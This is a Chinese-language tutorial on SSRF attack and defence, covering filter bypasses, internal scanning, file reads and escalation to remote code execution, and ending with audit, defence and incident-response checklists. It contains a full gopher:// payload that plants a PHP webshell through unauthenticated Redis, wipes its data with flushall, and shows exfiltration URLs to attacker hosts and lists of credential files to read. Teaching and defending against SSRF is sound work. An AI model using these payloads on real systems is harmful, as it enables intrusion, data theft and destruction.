SSRF漏洞攻防全解析:从原理到RCE的完整攻击链
1. 项目概述为什么SSRF是渗透测试中的“瑞士军刀”在Web渗透测试的武器库里SSRFServer-Side Request Forgery服务端请求伪造绝对算得上是一把功能强大且变化多端的“瑞士军刀”。它不像SQL注入或XSS那样直接与用户数据或浏览器交互而是巧妙地利用一个存在缺陷的服务器作为跳板向内部或外部的任意地址发起请求。简单来说就是“借刀杀人”——让目标服务器去攻击它自己或者它信任的网络。这个漏洞的威力在于其攻击面的广泛性。一个看似无害的、允许用户提交URL的功能点比如在线翻译、文档预览、头像设置、订阅推送等都可能成为SSRF的入口。攻击者通过精心构造的恶意URL可以诱导服务器去读取本地敏感文件如/etc/passwd、/proc/self/environ探测内网服务如Redis、MySQL、Consul的管理端口甚至在某些条件下将请求升级为远程命令执行RCE从而完全控制服务器。近年来随着云原生和微服务架构的普及内网环境变得愈发复杂边界也日益模糊。SSRF的价值因此水涨船高它成为了从外网穿透到内网、从低权限提升到高权限的关键跳板。无论是攻防演练红蓝对抗还是真实的漏洞挖掘深入理解SSRF的攻击链都是每一位安全从业者的必修课。接下来我将结合多年实战经验为你彻底拆解SSRF从文件读取到命令执行的完整攻击链条。2. SSRF漏洞核心原理与常见触发场景拆解要利用一个漏洞首先得理解它为何会产生。SSRF的本质是服务器对用户输入的URL或可转换为URL的参数缺乏充分的验证与过滤盲目地信任并代为发起网络请求。2.1 漏洞产生的根本原因服务器端应用程序通常会提供一些需要从外部获取资源的功能。例如数据获取从一个用户提供的URL获取图片、RSS订阅内容、网页数据。功能代理将用户请求转发到另一个服务进行处理如在线翻译服务将内容发送给后端翻译引擎。内部请求根据用户输入向内部另一个API或服务发起请求以获取数据。问题的关键在于程序在处理用户输入的URL时往往只进行简单的格式检查比如是否以http://开头而没有对请求的目标地址、协议、端口进行严格的“白名单”或“逻辑校验”。攻击者正是利用了这个信任缺口。2.2 高危触发点与代码示例在实际审计或测试中你需要重点关注以下几类功能点1. 远程资源加载功能这是最经典的场景。任何允许用户提交一个URL然后服务器去获取该URL内容的接口都值得怀疑。// 一个存在漏洞的PHP示例 $url $_GET[url]; // 用户可控输入例如 ?urlhttp://attacker.com $data file_get_contents($url); echo $data;这段代码直接使用file_get_contents获取用户输入的url参数内容毫无防护。攻击者可以将url指向file:///etc/passwd来读取本地文件。2. 内部服务请求与API调用在现代应用中前端经常请求后端的一个接口该接口再去调用内部另一个微服务。如果这个内部服务的地址或参数前端可控或可被篡改就可能引发SSRF。# Flask 示例存在缺陷的内部API调用 from flask import request import requests app.route(/fetch_internal) def fetch_internal(): service request.args.get(service, user) # 可控参数默认为user服务 # 构造内部服务地址危险 internal_url fhttp://internal-{service}-service/api/data response requests.get(internal_url) return response.text攻击者可以尝试将service参数修改为attackerevil.com?利用符号进行URL混淆使请求发往外部地址http://internal-attackerevil.com?...。3. 文件处理与预览功能文档转换、图片处理、PDF生成等服务通常需要读取用户提供的文件。如果支持从URL获取源文件就可能存在风险。头像设置上传头像时支持输入网络图片URL。文档预览支持输入一个在线文档的URL进行预览。数据导入通过URL导入CSV、Excel等数据文件。4. 社交媒体分享预览当你在社交平台分享一个链接时平台服务器会去抓取该链接的标题、描述和缩略图。这个抓取过程如果对URL校验不严就可能被利用。注意并非所有触发点都显而易见。有时参数可能被编码、隐藏在JSON数据中或者需要经过一系列复杂的业务逻辑才能到达请求函数。这就需要测试人员具备“参数追踪”的能力从用户输入点一直跟到最终的请求函数如curl_exec,requests.get,HttpClient.execute等。2.3 协议利用不止于HTTPSSRF的厉害之处在于它支持的协议多样性。除了常见的http://和https://许多编程语言的网络库还支持其他协议这极大地扩展了攻击面。file://用于读取服务器本地文件。这是实现“文件读取”攻击阶段的核心协议。file:///etc/passwd(Unix/Linux)file:///c:/windows/win.ini(Windows)dict://可用于探测端口信息甚至与某些服务如Redis进行简单交互。dict://127.0.0.1:6379/info可以尝试获取Redis服务信息。gopher://一个非常古老的协议但威力巨大。它可以构造任意格式的TCP数据包是攻击内网Redis、MySQL、FastCGI等服务的利器常被用于将SSRF升级为RCE。ftp://、ldap://、**tftp://**等根据服务器环境支持情况也可能用于信息探测或攻击。实操心得在测试时不要只测试http://。系统地尝试file、dict、gopher、ftp等协议观察服务器的响应差异。如果服务器返回了协议不支持的错误说明该协议处理库存在只是被拒绝了如果连接超时或返回其他错误则可能意味着请求被发出去了这本身就是一种信息泄露端口开放情况。3. 攻击链第一阶段信息收集与内网探测在确认存在SSRF漏洞后切忌直接进行破坏性攻击。有步骤、有策略的信息收集是后续攻击成功的基础。3.1 判断漏洞存在性与回显方式首先你需要判断漏洞是“有回显”还是“无回显”Blind SSRF。有回显服务器将请求目标返回的数据直接展示在响应中。这是最理想的情况你可以直接看到读取的文件内容或请求的响应。无回显服务器发起了请求但不会将响应内容返回给客户端。这时需要借助其他技巧如DNS外带让服务器请求一个你控制的域名如http://your-unique-id.attacker.com通过查看DNS解析日志来判断请求是否被执行。HTTP外带让服务器请求你控制的HTTP服务器并在URL路径或参数中携带信息如http://attacker.com/ssrf?tokensecret。时间延迟通过请求一个故意响应很慢的服务器或端口观察原请求的响应时间是否有明显增加来判断端口是否开放类似盲注。3.2 绕过常见的防御策略开发人员和安全设备不会坐以待毙通常会部署一些过滤规则。你需要掌握以下绕过技巧1. 针对黑名单的绕过如果系统禁止访问127.0.0.1、localhost、0.0.0.0等关键词。IP地址变形十进制IP2130706433等价于127.0.0.1八进制IP0177.0.0.1等价于127.0.0.1十六进制IP0x7f.0x0.0x0.0x1或0x7f000001省略格式127.1等价于127.0.0.1域名指向localhost的其他域名localtest.me、127.0.0.1.nip.io等指向本地的域名。利用DNS重绑定技术高阶技巧。2. 针对白名单的绕过如果系统只允许访问特定域名如*.example.com。利用URL解析差异这是最常用的方法。不同库如curl、requests、浏览器对URL的解析可能存在差异。符号绕过http://expected.comevil.com/。某些解析器会将前的部分视为认证信息实际请求的是evil.com。#符号绕过http://expected.com#evil.com/。#是片段标识符部分服务端解析时会忽略#及之后的内容但某些底层库可能会将其发送给错误的主机。利用畸形端口http://expected.com:80evil.com:443/。利用重定向如果白名单域名下存在一个开放重定向的漏洞可以先请求合法域名再由其重定向到恶意地址。例如先请求http://expected.com/redirect.php?urlhttp://evil.com。3. 针对协议限制的绕过如果系统只允许http://和https://。利用协议继承尝试http://127.0.0.1:22。如果服务器上的请求库支持它可能会尝试与22端口SSH建立TCP连接虽然可能不是HTTP协议但连接行为本身可能泄露信息如banner信息或用于端口探测。大小写、超长URL、特殊字符编码尝试对协议部分进行编码如HtTp:、HTTPS:或者使用%0a、%0d等换行符来截断或混淆解析逻辑。3.3 内网服务探测与端口扫描一旦可以访问内网下一步就是绘制内网地图。SSRF是进行内网端口扫描的绝佳工具。确定IP段通常从127.0.0.1本机和常见C段内网地址开始如192.168.0.0/24、10.0.0.0/8、172.16.0.0/12。构造扫描Payload利用有回显的SSRF遍历IP和端口。# 假设存在漏洞的URL参数是 u http://vuln-site.com/ssrf.php?uhttp://192.168.1.1:80 http://vuln-site.com/ssrf.php?uhttp://192.168.1.1:22 http://vuln-site.com/ssrf.php?uhttp://192.168.1.1:6379分析响应连接被拒绝/超时端口可能关闭或存在防火墙。返回特定的错误页面或Banner信息端口开放并能识别服务如HTTP的404页面、Redis的-ERR响应、MySQL的握手包错误。返回正常数据成功访问到服务如一个内网Web管理界面。注意事项内网扫描要控制节奏避免触发安全设备的告警。使用延时并优先扫描高风险端口如80, 443, 22, 21, 3306, 6379, 8080, 9200等。同时注意观察响应长度和时间的细微差别这往往是判断端口状态的依据。4. 攻击链第二阶段从文件读取到内网资产访问在信息收集的基础上攻击进入更具威胁的阶段。4.1 利用file协议读取敏感文件这是SSRF最直接的数据获取方式。目标是通过读取服务器上的配置文件、日志、密钥等获取进一步渗透的凭据或信息。Linux/Unix系统关键文件/etc/passwd验证漏洞存在性并查看用户列表。/etc/shadow如果可读可能性极低可直接获取密码哈希。/proc/self/environ非常重要包含当前进程的环境变量可能泄露数据库密码、API密钥、配置文件路径等。/proc/net/fib_trie、/proc/net/route查看网络路由信息辅助内网探测。~/.bash_history、~/.ssh/id_rsa尝试读取特定用户的shell历史和SSH私钥。应用配置文件如/var/www/html/config.php、/WEB-INF/web.xml、.env文件等。Windows系统关键文件file:///c:/windows/win.ini传统测试文件。file:///c:/windows/system32/drivers/etc/hosts查看主机文件。应用安装目录下的web.config、application.yml、*.properties等。实战技巧读取文件时如果遇到路径截断或过滤可以尝试使用....//、..;/、URL编码等进行绕过。读取/proc/self/environ时注意其中可能包含HTTP_开头的变量那是HTTP请求头可能包含Cookie、Token等如果程序错误地将请求头设置到环境变量中就可能泄露。4.2 访问内网Web应用与管理界面内网往往存在大量未授权或弱口令的Web管理界面如运维系统Jenkins, GitLab, Docker Registry, Kubernetes Dashboard。缓存与数据库Redis (Web管理工具如RedisInsight), Memcached (stats页面), Elasticsearch (Head插件)。监控系统Grafana, Prometheus。设备管理路由器、交换机、防火墙的Web管理界面通常位于192.168.1.1。通过SSRF访问这些界面如果存在默认口令或未授权访问攻击者就能直接接管相应服务。例如访问到内网Jenkins的/script页面就可以直接执行Groovy脚本获取服务器权限。4.3 与无认证的内网服务交互一些内网服务为了便利性可能监听在内网且无需认证这给了SSRF可乘之机。Redis未授权访问这是将SSRF升级为RCE的经典路径。通过dict://或gopher://协议可以向Redis发送命令。探测dict://127.0.0.1:6379/info如果Redis未授权可以尝试写Webshell或写入SSH公钥。Memcached未授权访问同样可以通过dict或直接TCP连接进行交互执行stats等命令获取信息。FastCGI如果PHP-FPM监听在端口如9000且配置不当可以通过gopher协议发送FastCGI协议包执行任意PHP代码。实操心得在与这些服务交互时你实际上是在手动或借助工具构造特定网络协议的数据包。这需要对目标协议有一定了解。例如攻击Redis时你需要构造符合Redis序列化协议RESP的格式。使用gopher协议时你需要精确计算每个字符包括换行符\r\n。建议先在本地搭建测试环境使用nc或脚本模拟攻击成功后再用于实战。5. 攻击链第三阶段升级利用与远程命令执行这是SSRF攻击的最高阶形态目标是获得服务器的命令执行权限。5.1 利用Gopher协议攻击Redis实现RCEgopher://协议可以发送任意的TCP数据包是攻击内网Redis、MySQL、FastCGI的利器。下面以攻击未授权Redis为例演示如何写入Webshell。攻击前提目标服务器存在SSRF漏洞。内网或本机存在未授权访问的Redis服务默认端口6379。已知Web目录的绝对路径可通过读取配置文件、报错信息等获得。攻击步骤构造Redis命令我们计划通过Redis写入一个PHP Webshell到Web目录。flushall set shell ?php eval($_POST[cmd]);? config set dir /var/www/html config set dbfilename shell.php save将命令转换为RESP格式Redis使用RESP协议通信。每个命令需要转换为特定格式。例如set shell “?php eval($_POST[‘cmd’]);?”转换后大致是*3\r\n$3\r\nset\r\n$5\r\nshell\r\n$34\r\n?php eval($_POST[cmd]);?\r\n*3表示有3个参数$3表示下一个参数长度为3即set以此类推。构造Gopher URL将整个RESP格式的Payload进行URL编码放入Gopher URL中。gopher://127.0.0.1:6379/_%2A3%0D%0A%243%0D%0Aset%0D%0A%245%0D%0Ashell%0D%0A%2434%0D%0A%3C%3Fphp%20%40eval%28%24_POST%5B%27cmd%27%5D%29%3B%3F%3E%0D%0A%2A4%0D%0A%244%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A%2Fvar%2Fwww%2Fhtml%0D%0A%2A4%0D%0A%244%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A通过SSRF触发将上述长长的Gopher URL作为SSRF漏洞的参数提交。如果成功Redis就会将数据保存到/var/www/html/shell.php。访问Webshell访问http://target.com/shell.php使用POST参数cmdsystem(‘whoami’);即可执行命令。重要警告此操作会清空目标Redis数据库flushall在授权测试中务必谨慎最好在完全可控的测试环境中进行。在实际渗透中也可尝试写入SSH公钥、计划任务crontab等方式。5.2 攻击FastCGIPHP-FPM如果服务器运行PHP并且PHP-FPM监听在某个端口如9000且允许从网络访问就可以通过SSRF配合Gopher协议发送恶意的FastCGI协议包令PHP-FPM执行任意代码。原理FastCGI协议中有一个PHP_VALUE环境变量可以用来动态设置php.ini配置。攻击者可以设置auto_prepend_file为php://input那么PHP在执行任何脚本前都会先包含POST过去的数据而POST的数据就是我们的一句话木马。这个过程比攻击Redis更复杂需要精确构造FastCGI协议包。通常使用现成的工具如Gopherus来生成Payload。生成的Gopher URL格式类似gopher://127.0.0.1:9000/_%01%01...一串二进制数据的URL编码。5.3 其他RCE路径攻击MySQL类似于Redis如果MySQL存在弱口令且允许远程登录可以通过Gopher发送MySQL协议包执行SQL命令通过SELECT ... INTO OUTFILE写入Webshell。但这通常需要已知用户名和密码。利用XXE与SSRF结合如果应用同时存在XXEXML外部实体注入和SSRF可以利用XXE的ENTITY声明将内部网络的数据通过SSRF带出。或者如果服务器解析XML时支持php://等包装器可能直接导致RCE。利用URL Scheme Handler在某些桌面应用或特定服务中可能会注册自定义的URL协议如vscode://,txmt://。如果SSRF可以触发这些协议可能造成客户端攻击但这已超出传统服务端SSRF的范畴。6. 漏洞挖掘、防御与实战排查指南6.1 如何主动挖掘SSRF漏洞黑盒测试参数收集使用爬虫如Burp Suite的爬虫或手动浏览收集所有接受URL、域名、IP地址作为输入的参数。关注url,link,src,api,endpoint,service,file,path等参数名。主动探测对收集到的参数使用Burp Suite的Intruder或自定义脚本插入以下测试Payload回显测试http://your-burp-collaborator-domain(用于检测无回显SSRF)。本地文件读取file:///etc/passwd。内网探测http://192.168.0.1,http://127.0.0.1:22。协议探测dict://127.0.0.1:6379/info,gopher://127.0.0.1:6379/_...。关注重定向检查应用本身是否存在开放重定向漏洞这可能是绕过白名单的关键。白盒审计搜索关键函数在代码中搜索网络请求相关的函数如curl_exec(),file_get_contents(),fsockopen(),HttpClient.Get(),requests.get(),HttpURLConnection等。跟踪数据流从用户输入点GET/POST参数、Header、Cookie开始跟踪数据是否未经充分校验就流向了这些网络请求函数。检查校验逻辑查看对URL的校验是黑名单还是白名单校验逻辑是否存在绕过可能如使用、#或解析库差异。6.2 企业级防御方案建议完全杜绝SSRF需要多层次防御防御层面具体措施说明与注意事项输入校验实施严格的白名单只允许访问预期的、有限的域名或IP地址列表。黑名单极易被绕过。白名单是最有效的手段但需要维护。解析用户输入使用权威的URL解析库如Python的urllib.parseJava的java.net.URI获取host并与白名单比对。避免使用正则表达式简单匹配。注意解析库的差异确保获取的是最终请求的host而不是前面的部分。网络层隔离与过滤将可以发起外部请求的应用服务器部署在独立的DMZ区域并通过防火墙严格限制其出站连接只允许访问必要的白名单外网地址。这是最后的防线。即使应用有漏洞攻击者也难以访问内网。禁用危险协议在服务器或应用层面禁用不必要的URL Scheme处理如file、gopher、dict、ftp等。修改相关库的配置或使用拦截器。应用设计使用中间代理不直接由业务服务器发起请求而是将所有需要获取外部资源的请求转发给一个专用的、有严格限制的“代理服务”或“网关”去执行。将风险集中到一个可控点进行管理。避免将用户输入直接用于内部服务寻址内部服务间的调用应使用服务名或配置中心的固定地址而非由前端传递。从根本上减少攻击面。响应处理过滤敏感信息即使请求发生对返回给用户的数据进行严格的过滤和检查避免将错误信息如内网IP、端口状态、Banner信息直接返回。防止信息泄露增加攻击者探测难度。6.3 实战排查与应急响应清单如果怀疑系统存在SSRF漏洞或已遭受攻击可按此清单排查日志分析立即检查应用服务器Nginx/Apache、后端语言PHP/Java/Python的访问日志和错误日志。搜索异常的、包含file://、127.0.0.1、192.168.、gopher、dict等关键词的请求。关注来自单个IP在短时间内对大量不同端口或内部IP的请求这是端口扫描的典型特征。网络监控检查服务器上的网络连接状态netstat -antp查看是否有异常的外发连接到未知IP或端口。如有条件检查边界防火墙或主机的出站连接日志。文件系统检查检查Web目录下是否被写入可疑文件如.php,.jsp,.war特别是最近创建的文件。检查/tmp、/dev/shm等临时目录。检查计划任务crontab -l、系统服务、~/.ssh/authorized_keys是否有异常条目。进程与账户检查使用ps auxf或top查看是否有异常进程。检查/etc/passwd是否有新增用户。漏洞修复临时措施立即下线或禁用存在问题的功能端点。根本解决根据上述防御方案实施白名单校验、禁用危险协议、加强网络隔离。代码修复后务必进行严格的回归测试确保修复有效且无副作用。SSRF的攻防是一场关于信任边界的博弈。对于开发者而言必须牢记“所有用户输入都是不可信的”对于安全人员而言则需要像攻击者一样思考不断探索信任链条上的每一个薄弱环节。理解并掌握这条从文件读取到命令执行的完整攻击链不仅能让你在渗透测试中游刃有余更能从根本上帮助你设计和构建出更安全的应用程序。

相关新闻